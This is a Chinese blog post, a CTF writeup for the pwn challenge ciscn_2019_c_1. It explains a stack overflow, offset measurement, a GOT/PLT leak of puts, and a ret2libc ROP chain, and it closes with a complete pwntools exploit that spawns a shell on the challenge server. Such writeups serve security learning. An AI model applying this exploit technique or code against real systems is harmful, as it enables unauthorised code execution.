ciscn_2019_c_1 Writeup

原创

Champa9ne 已于 2022-03-05 16:17:42 修改 415 收藏

文章标签： pwn 信息安全

于 2021-05-06 22:15:38 首次发布

本文链接：https://blog.csdn.net/Calllin/article/details/116464593

前提

- 本程序防御策略

```
>checksec ./cisscn_2019_c_1
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
```

- 本程序逻辑是输入一个字符串，按照内置加密函数逻辑加密转化为密文。但在加密函数中存在溢出漏洞。
- 存在`strlen()`函数。使用该函数计算读入字符串的长度，并逐位加密。
  - 存在漏洞：该函数接收到`\0`则认为已到达字符串结尾。
- 存在`put()`函数，可作为输出。
- amd64的参数调用顺序是如下序列的自后而前，即：完成传递参数（地址）->本函数地址 -> 返回地址
  `... -> pop_rdi;ret -> argv -> call_addr -> ret_address`
- 在全局偏移表GOT（Global Offset Table）中，存储的是该函数在内存中的地址。
- 在程序链接表PLT（Process Link Table）中存储的是该函数在GOT中的位置。
- amd64中函数调用使用的寄存器顺序是：rdi、rsi、rdx、rcx、r8、r9。

思路

- 泄露远端服务器中某函数在内存中的地址
- 计算所需gadgets在远端服务器中的地址
- 构造payload劫持控制流获得shell

确定偏移量

注意与x86不同，输入一段字符串占用了ret，由于抛出异常机制，不会返回错误地址。但此时RIP的状态时准备跳转但跳转失败。故而，RIP所在的地址即是ret返回地址。通常通过`pwndbg> x/gx rsp`查看返回地址处内存。

注意使用`pattern.py`、`msf_pattern`等脚本测算输入点到ret的偏移量时，由于本题输入的字符串经过了加密。需要先对其还原才能使用重新与脚本对比，从而计算出偏移。

这也是这类脚本的使用原理。即生成一串片段序列唯一的长字符串，通过比对EIP中的数据在本字符串中的位置，测算出输入点与ret处的距离。

```
#测算序列：（150）
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6A
d7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

#加密序列：（150）
Ol?Ol>Ol=Ol<Ol;Ol:Ol9Ol8Ol7Ol6Oo?Oo>Oo=Oo<Oo;Oo:Oo9Oo8Oo7Oo6On?On>On=On<On;On:On9On8On7On6Oi?Oi>Oi=Oi<Oi;Oi:Oi9O
i8Oi7Oi6Oh?Oh>Oh=Oh<Oh;Oh:Oh9Oh8Oh7Oh6

#EIP/ESP中数据：（后62）
n6Oi?Oi>Oi=Oi<Oi;Oi:Oi9Oi8Oi7Oi6Oh?Oh>Oh=Oh<Oh;Oh:Oh9Oh8Oh7Oh6

#即长度为如下字符串中的长度（前88）
Ol?Ol>Ol=Ol<Ol;Ol:Ol9Ol8Ol7Ol6Oo?Oo>Oo=Oo<Oo;Oo:Oo9Oo8Oo7Oo6On?On>On=On<On;On:On9On8On7O
```

泄露信息以测算内存中libc地址

获得本elf中的gadgets：

`ROPgadget --binary ./ciscn_2019_c_1 --only "pop|ret"`

`ROPgadget --binary ./ciscn_2019_c_1 --only "ret"`

构造泄露信息的payload：

- 当esp指向`pop rdi;ret`时，rip指向puts_got。
- 这意味着rip中的数据是puts_got所保留的`put()`函数内存地址。它将被利用作为下一步`put()`的参数。使得控制流被劫持，输出了`put()`函数在远端服务器的内存中的地址。
- 最后让程序流返回到开始以继续利用

`payload1 = 'A'*(88) + p64(pop_rdi_addr) + p64(put_got) + p64(put_plt) + p64(_start)`

劫持控制流获得Shell

- 由于本题未给定`libc.so.6`的版本，故使用第三方模块`LibcSearcher`。
- 根据函数调用过程构造payload：

`payload2 = 'A'*(88) + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(sys_addr)`

完整exp

```python
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
io = remote("node3.buuoj.cn",25109)
gamebox = ELF('./ciscn_2019_c_1')

pop_rdi_ret = 0x0000000000400c83
puts_plt = gamebox.plt['puts']
puts_got = gamebox.got['puts']
start_addr = gamebox.symbols['_start']
payload1 = 'A'*(88) + p64(pop_rdi_ret)
payload1 += p64(puts_got) + p64(puts_plt) + p64(start_addr)
io.sendlineafter("Input your choice!\n","1")
io.sendlineafter("Input your Plaintext to be encrypted\n",payload1)

io.recvuntil("Ciphertext\n")
io.recvline()
puts_leak = u64(io.recvline()[:-1].ljust(8, '\0'))
libc = LibcSearcher('puts',puts_leak)
libc_offset = puts_leak - libc.dump('puts')
sys_addr = libc_offset + libc.dump('system')
bin_sh_addr = libc_offset + libc.dump('str_bin_sh')

ret = 0x00000000004006b9
payload2 = 'A'*(88) + p64(ret)
payload2 += p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(sys_addr)
io.sendline("1")
io.sendlineafter("Input your Plaintext to be encrypted\n",payload2)
io.interactive()
```